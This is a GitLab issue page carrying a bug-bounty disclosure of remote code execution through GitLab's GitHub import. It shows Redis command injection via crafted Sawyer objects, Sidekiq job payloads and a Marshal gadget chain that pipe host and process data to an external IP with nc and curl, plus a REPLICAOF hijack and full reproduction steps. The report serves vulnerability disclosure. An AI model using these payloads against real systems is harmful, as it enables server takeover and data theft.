https://gitlab.com/gitlab-org/gitlab/-/issues/371098 Skip to content GitLab Next * Projects Groups Snippets * [ ] / * * Help + + What's new 5 + Help + Support + Community forum + Keyboard shortcuts ? + + Submit feedback + Contribute to GitLab * Sign in / Register Toggle navigation Menu * GitLab GitLab * Project information + Project information + + Activity + Labels + Members * Repository + Repository + + Files + Commits + Branches + Tags + Contributors + Graph + Compare + Locked Files * Issues 46,168 + Issues 46,168 + + List + Boards + Service Desk + Milestones + Iterations + Requirements * Merge requests 1,581 + Merge requests 1,581 * CI/CD + CI/CD + + Pipelines + Jobs + Schedules + Test Cases * Deployments + Deployments + + Environments + Releases * Packages and registries + Packages and registries + + Package Registry + Container Registry + Infrastructure Registry * Monitor + Monitor + + Metrics + Incidents * Analytics + Analytics + + Value stream + CI/CD + Code review + Insights + Issue + Repository * Snippets + Snippets * Activity * Graph * Create a new issue * Jobs * Commits * Issue Boards Collapse sidebar Close sidebar Open sidebar * GitLab.orgGitLab.org * GitLabGitLab * Issues * #371098 Closed Open Issue created Aug 18, 2022 by [gi]GitLab SecurityBot @gitlab-securitybotReporter RCE via github import HackerOne report #1672388 by yvvdwf on 2022-08-17, assigned to @nmalcolm: Report | Attachments | How To Reproduce Report Hello, While continuing mining on github import, I found a vulnerability on gitlab.com allowing to execute remotely arbitrary commands. Gitlab uses Octokit to get data from github.com. Octokit uses Sawyer::Resource to represent results. Sawyer is a crazy class that converts a hash to an object whose methods are based on the hash's key: irb(main):641:0> Sawyer::VERSION => "0.8.2" irb(main):642:0> a = Sawyer::Resource.new( Sawyer::Agent.new(""), to_s: "example", length: 1) => {:to_s=>"example", :length=>1} ... irb(main):643:0> a.to_s => "example" irb(main):644:0> a.length => 1 Gitlab uses directly the responded Sawyer object in few functions, such as, the id variable in this function: def already_imported?(object) id = id_for_already_imported_cache(object) Gitlab::Cache::Import::Caching.set_includes?(already_imported_cache_key, id) end Normally, id should be a number. However when id is {"to_s": {"bytesize": 2, "to_s": "1234REDIS_COMMANDS" }}, we can inject additional redis commands by using bytesize to limit the previous command when it is constructed (although the bytesize is 2 we need to reserve 4 bytes as 2 additional bytes for CLRF): def build_command(args) command = [nil] args.each do |i| if i.is_a? Array i.each do |j| j = j.to_s command << "$#{j.bytesize}" command << j end else i = i.to_s command << "$#{i.bytesize}" command << i end end As we can execute any redis commands, we can escalate to execute any Bash command by using an existing gadget, for example: lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| (hostname; ps aux) | nc 51.75.74.52 11211 \').read\"],"queue\":\"system_hook_push\"}" I tested this redis command first on my own gitlab instance and it worked. I then tested on gitlab.com but got nothing. I tried another by replacing basically nc by curl but no luck: lpush resque:gitlab:queue:system_hook_push "{\"class\":\"PagesWorker\",\"args\":[\"class_eval\",\"IO.read('|(hostname; ps aux) | curl 51.75.74.52:11211 -X POST --data-binary @- ')\"], \"queue\":\"system_hook_push\"}" Although the gadget above works well on my local instance but gitlab SaaS which may be protected somehow or used another redis namespace for Sidekiq, even another redis instance. So I used then the basic redis command REPLICAOF 51.75.74.52 11211\n\n to test gitlab.com and I got a ping from your redis server to my server nc -vlkp 11211: redis_replicaof.png This means that I have the full control on the redis. After seeing the pings, I immediately turned off the replication by executing the redis command REPLICAOF no one\n\n. No information from your redis server has been replicated to mine as I used nc and I got only the ping messages. By checking on my local instance at /var/opt/gitlab/redis/redis.conf, I see that only keys command is disable. I did not try FLUSHALL to write data to file as it is too dangerous. As gitlab uses redis as a cache storage, so I tried to reach RCE via Marshal.dump method. I tested the following payload on gitlab.com to poison the avatar of my project via the key cache:gitlab:avatar:yvvdwf/xss:16210710: \r\n*3\r\n$3\r\nset\r\n$39\r\ncache:gitlab:avatar:yvvdwf/xss:16210710\r\n$347\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\u0006a\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\".(hostname; ps aux) | nc 51.75.74.52 11211\u0006;\fT;\u0012:\fresolve\r\n\r\n Although I did not get RCE but it seems working as I got 500 error code when trying to access to my project. And now I cannot access to my project via web interface. I think I should stop testing to avoid any further potential incidences. I did all the tests above on gitlab.com on 16-17 August 2022 from IP 51.75.74.52 something_went_wrong.png Steps to reproduce The steps to reproduce should be the same as this one The following steps are to reproduce on a local gitlab instance whose domain is http://gitlab.example.com: Step to reproduce To reproduce, we need the following prerequisite: * A VM/machine to host the dummy server with an public IP though that gitlab.example.com can access to (or you can configure your gitlab instance to allow to access to local networks) * I created the dummy server using nodejs, so you need to have also nodejs on the machine * A Gitlab personal access token. Go to http://gitlab.example.com/- /profile/personal_access_tokens?scopes=api to create a new token with within api scope. Step 1: run the dummy server * Copy the attachment file on your machine and decompress it to any folder, e.g., /tmp/dummy-server * Modify the attack payload as you need inside redis_command.txt file, the default value is to execute the command (hostname; ps aux) > /tmp/ahihi: lpush resque:gitlab:queue:system_hook_push "{\"class\":\"PagesWorker\",\"args\":[\"class_eval\",\"IO.read('|(hostname; ps aux) > /tmp/ahihi ')\"], \"queue\":\"system_hook_push\"}" * Go to /tmp/dummy-server then run this command: node ./index.js YOUR_IP YOUR_PORT in which, you should replace IP and PORT with the one you have. For example, sudo node index.js 51.75.74.52 80 Step 2: trigger Gitlab import * Open a new terminal, then run the following command, in which: + YOUR_IP and YOUR_PORT are the values in the previous step + YOUR_GITLAB_TOKEN is the api token you've created in the pre-requirement + YOUR_GITLAB_USERNAME is the target namespace you want to import the project to. It can be your username, or a group name curl -kv "http://gitlab.example.com/api/v4/import/github" \ --request POST \ --header "content-type: application/json" \ --header "PRIVATE-TOKEN: YOUR_GITLAB_TOKEN" \ --data '{ "personal_access_token": "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "repo_id": "356289002", "target_namespace": "YOUR_GITLAB_USERNAME", "new_name": "poc-rce", "github_hostname": "http://YOUR_IP:YOUR_PORT" }' For example: curl "http://gitlab.example.com/api/v4/import/github" \ --request POST \ --header "content-type: application/json" \ --header "PRIVATE-TOKEN: 3LCvKWXVF-Gadcnbxxxx" \ --data '{ "personal_access_token": "xxxxx", "repo_id": "356289002", "target_namespace": "root", "new_name": "NEW-NAME-'$(date +%s)'", "github_hostname": "http://ns.yvvdwf.me:80" }' * View the result in /etc/ahihi Impact Any one the the ability to call api/v4/import/github endpoint could achieve RCE via a specially crafted responses Attachments Warning: Attachments received through HackerOne, please exercise caution! * redis_replicaof.png * something_went_wrong.png * rce.tar.gz How To Reproduce Please add reproducibility information to this section: 1. 2. 3. Assignee Select assignee(s) Assign to [ ] Time tracking